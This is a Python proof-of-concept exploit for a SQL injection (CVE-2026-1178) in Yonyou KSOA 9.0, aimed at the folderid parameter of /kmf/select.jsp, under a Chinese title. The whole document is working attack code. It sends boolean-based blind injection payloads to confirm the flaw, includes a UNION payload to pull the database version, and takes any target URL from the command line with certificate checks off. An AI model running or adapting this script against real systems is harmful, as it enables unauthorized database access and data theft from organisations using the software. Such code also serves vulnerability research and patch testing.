CVE-2026-1178 用友KSOA SQL注入漏洞

import requests import sys # CVE-2026-1178 SQL Injection PoC for Yonyou KSOA 9.0 # Target: /kmf/select.jsp # Parameter: folderid def exploit(target_url, folderid_payload): """ Exploit SQL injection in Yonyou KSOA /kmf/select.jsp Args: target_url: Base URL of the vulnerable application folderid_payload: Malicious SQL payload for folderid parameter Returns: HTTP response from the server """ params = { 'folderid': folderid_payload } try: # Blind SQL injection detection response = requests.get( f'{target_url}/kmf/select.jsp', params=params, timeout=10, verify=False ) return response except requests.RequestException as e: print(f'[-] Error: {e}') return None def basic_injection_test(target_url): """ Basic SQL injection test using boolean-based blind injection """ # True condition - should return normal response true_payload = "1' AND 1=1 -- " # False condition - should return different response false_payload = "1' AND 1=2 -- " print('[*] Testing basic SQL injection...') resp_true = exploit(target_url, true_payload) resp_false = exploit(target_url, false_payload) if resp_true and resp_false: if resp_true.text != resp_false.text: print('[+] SQL Injection vulnerability confirmed!') return True print('[-] Could not confirm SQL injection') return False def extract_database_version(target_url): """ Extract database version using UNION-based injection """ # MySQL version extraction payload version_payload = "1' UNION SELECT @@version -- " print('[*] Attempting to extract database version...') response = exploit(target_url, version_payload) if response and response.status_code == 200: print(f'[+] Response received (length: {len(response.text)})') return response.text return None if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_url>') print(f'Example: python {sys.argv[0]} http://target.com') sys.exit(1) target = sys.argv[1].rstrip('/') print(f'[*] Target: {target}') print(f'[*] CVE-2026-1178 SQL Injection PoC') print('=' * 50) # Run basic test if basic_injection_test(target): print('[*] Vulnerability is exploitable') # Uncomment to extract database info # extract_database_version(target)